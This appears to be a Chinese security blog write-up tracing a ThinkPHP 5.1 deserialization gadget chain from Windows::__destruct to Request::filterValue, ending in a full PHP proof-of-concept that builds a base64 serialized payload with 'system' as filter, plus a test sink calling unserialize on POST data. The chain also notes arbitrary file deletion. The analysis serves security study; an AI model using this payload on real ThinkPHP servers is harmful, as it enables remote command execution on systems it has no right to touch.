回顾
先来回顾下反序列化中常用到的几个魔法函数
- __construct():创建对象时会自动调用
- __destruct():对象销毁时自动调用
- __sleep():执行serialize()时自动调用
- __wake():执行unserialize()时自动调用
- __toString():对象被作为字符串处理时自动调用
- __get():从不可访问的属性中读取数据时自动调用
- __call():调用类中不存在的或不可访问的方法时自动调用
反序列化链分析
寻找入口点,全局搜索__destruct()

前三处都是执行$this->stop();
,关闭连接,无法利用
第四个是think/process/pipes下Windows类的__destruct()
,除了stop()方法,还有一个removeFiles()方法
1 2 3 4 5
| public function __destruct() { $this->close(); $this->removeFiles(); }
|
全文追踪此函数
1 2 3 4 5 6 7 8 9 10 11 12
|
private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
|
第20行处 private $files = [];
所以这里的$this->files可控,结合@unlink(),故存在任意文件删除。
注意到file_exists(),如果传入的参数是一个对象,这里它被当成字符串处理,则会触发__toString()
,而传入的参数正是我们可控的
接下来尝试去寻找有无可利用的__toString()
在think\model\concern的trait Conversion中存在
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
跟进toJson()
1 2 3 4 5 6 7 8 9 10
|
public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
|
跟进toArray()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| public function toArray() { $item = []; $hasVisible = false;
foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } }
foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } }
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } }
if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
$item[$key] = $relation ? $relation->append($name)->toArray() : []; } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible([$attr]); } }
$item[$key] = $relation ? $relation->append([$attr])->toArray() : []; } else { $item[$name] = $this->getAttr($name, $item); } } }
return $item; }
|
重点看到这里
1 2 3 4 5 6 7 8 9 10 11 12
| if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
|
最后一个if语句中,执行方法$relation->visible($name);
如果是可控变量->方法(可控参数),就可以去找__call
看下是否是可控的,$this->append可控,再看getRelation()
1 2 3 4 5 6 7 8 9
| public function getRelation($name = null) { if (is_null($name)) { return $this->relation; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } return; }
|
$name
可控,易使得getRelation()返回为空,进而if (!$relation)成立,进入getAttr()
1 2 3 4 5 6 7 8 9
| public function getAttr($name, &$item = null) { try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; }
|
跟进getData()
1 2 3 4 5 6 7 8 9 10 11
| public function getData($name = null) { if (is_null($name)) { return $this->data; } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }
|
getData()返回的$this->data
可控,所以相当于 $relation = $this->data($key);
,故$relation可控
$name
为$this->append
的键值,$append
可控,故$name
也可控
但需要注意,__toString()
是Conversion
类的,getAttr()
等是Attribute
类的,这两个都是trait类。
自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。
经过寻找,找到了Model类符合要求

但它是一个抽象类,抽象类不能直接实例化
抽象类不能被直接实例化。抽象类中只定义(或部分实现)子类需要的方法。子类可以通过继承抽象类并通过实现抽象类中的所有抽象方法,使抽象类具体化。
如果子类需要实例化,前提是它实现了抽象类中的所有抽象方法。如果子类没有全部实现抽象类中的所有抽象方法,那么该子类也是一个抽象类,必须在 class 前面加上 abstract 关键字,并且不能被实例化。
构造的时候需要实例化Model类的一个非抽象子类,找到了Pivot类
现在缺一个进行代码执行的点,想办法找找有没有可利用的__call()
,我们可以构造不存在的方法来调用它,一番搜寻找到Request类的__call()
1 2 3 4 5 6 7 8 9
| public function __call($method, $args) { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); }
throw new Exception('method not exists:' . static::class . '->' . $method); }
|
这里的$hook
可控,可以构造一个hook数组"visable"=>"method"
,但不能直接利用call_user_func_array()执行命令,array_unshift()把$this
插到了$args
的前面,使得参数不可控
在Thinkphp的Request类中还有一个功能filter
功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter
的方法去执行代码。
在Request.php的1459行
1 2 3 4 5 6 7 8
| private function filterValue(&$value, $key, $filters) { $default = array_pop($filters);
foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value);
|
想办法让call_user_func()的两个参数可控
在Request类的input方法中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { return $data; }
$name = (string) $name; if ('' != $name) { if (strpos($name, '/')) { list($name, $type) = explode('/', $name); }
$data = $this->getData($data, $name);
if (is_null($data)) { return $default; }
if (is_object($data)) { return $data; } }
$filter = $this->getFilter($filter, $default);
if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); }
if (isset($type) && $data !== $default) { $this->typeCast($data, $type); }
return $data; }
|
利用array_walk_recursive()
来调用filterValue
方法,注意$filter
是通过getFilter
得到的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| protected function getFilter($filter, $default) { if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } }
$filter[] = $default;
return $filter; }
|
所以$filter = $this->getFilter($filter, $default);
相当于是$filter=$this->filter
,而$this->filter
可控,故$filter
可控。
但这里的data数组不可控,如果可控,且$name
是空字符串,$data就直接作为回调函数的可控参数
接下来看看有没有哪些地方调用了input函数,它的$data这个位置的参数是否可控
同样也是在Request类中,有一个param函数满足要求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public function param($name = '', $default = null, $filter = '') { if (!$this->mergeParam) { $method = $this->method(true);
switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; }
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true; }
if (true === $name) { $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter); }
return $this->input($this->param, $name, $default, $filter); }
|
最后这里使用了input函数,注意$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
也就是注释中说的$this->param
会和URL地址中的参数合并
因为调用的是array_walk_recursive()
,数组中每个成员都可以被调用到,故无影响。
参数$this->param
可控,相当于$data
可控,但考虑动态执行命令,就不直接构造$this->param
,可以把要执行的命令写在get参数里。
第二个参数$name
还不可控,寻找有无调用param函数的地方
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function isAjax($ajax = false) { $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) { return $result; }
$result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }
|
在isAjax函数中,$this->config['var_ajax']
可控,相当于param函数中$name
可控,再相当于input函数中$name
可控
让$this->config['var_ajax']
为空,即input函数中$name
为空,加上$data
可控,故
1
| array_walk_recursive($data, [$this, 'filterValue'], $filter);
|
这个回调函数中的参数可控
进而filterValue中的$value = call_user_func($filter, $value);
,其回调函数和参数也都可控了
利用链梳理
pop利用链:
Windows类的__destruct()→
Windows类的removeFiles()→
file_exists()→
Model类的__toString()→
Model类的toJson()→
Model类的toArray()→
Request类的__call()→
Request类的filterValue()→
Request类的input()→
Request类的param()→
Request类的isAjax()
POC梳理
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| <?php namespace think\process\pipes{
use think\model\Pivot;
class Windows { private $files = []; public function __construct(){ $this->files[]=new Pivot(); } } } namespace think{ abstract class Model { protected $append = []; private $data = []; public function __construct(){ $this->data=array( 'cmd'=>new Request() ); $this->append=array( 'cmd'=>array( 'hello'=>'world' ) ); } } } namespace think\model{
use think\Model;
class Pivot extends Model {
} } namespace think{ class Request { protected $hook = []; protected $filter; protected $config = [ 'var_method' => '_method', 'var_ajax' => '', 'var_pjax' => '_pjax', 'var_pathinfo' => 's', 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], 'default_filter' => '', 'url_domain_root' => '', 'https_agent_name' => '', 'http_agent_ip' => 'HTTP_X_REAL_IP', 'url_html_suffix' => 'html', ]; public function __construct(){ $this->hook['visible']=[$this,'isAjax']; $this->filter="system"; } } } namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows())); }
|
创建一个Windows()对象,触发Windows类的__construct()
方法
上一步的__construct()
方法中创建了一个Pivot()对象,它继承自Model()类,触发Model()类的__construct()
方法
上一步的__construct()
方法中创建了一个Request()对象,触发Request类的__construct()
方法
1 2 3 4
| public function __construct(){ $this->hook['visible']=[$this,'isAjax']; $this->filter="system"; }
|
上一步的__construct()
方法调用了Request类中不存在的visible()方法,触发__call()
方法
1 2 3 4 5 6 7 8 9 10
| public function __call($method, $args) //$method为不存在的方法,$args为不存在方法以数组形式存的参数, { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); } ...... }
|
__call()
方法中执行call_user_func_array()
方法
执行回调函数isAjax()
1 2 3 4 5 6 7
| public function isAjax($ajax = false) { ...... $result= $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }
|
执行param()
1 2 3 4 5 6
| public function param($name = '', $default = null, $filter = '') { ...... return $this->input($this->param, $name, $default, $filter); }
|
执行input()
1 2 3 4 5 6 7 8
| public function input($data = [], $name = '', $default = null, $filter = '') { ...... if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); ...... }
|
执行filterValue()
1 2 3 4 5
| private function filterValue(&$value, $key, $filters) { ....... $value = call_user_func($filter, $value);
|
验证POC
首先构造一个利用点,这个漏洞就是需要后期开发的时候有利用点,才能触发
/public/index.php
1 2 3
| Container::get('app')->run()->send(); $str = base64_decode($_POST['data']); unserialize($str);
|
把payload通过POST传过去,然后通过GET请求获取需要执行的命令

参考
https://www.cnblogs.com/wangtanzhi/p/12639659.html#autoid-0-5-0
https://paper.seebug.org/1040/#_2
https://blog.csdn.net/rfrder/article/details/113843768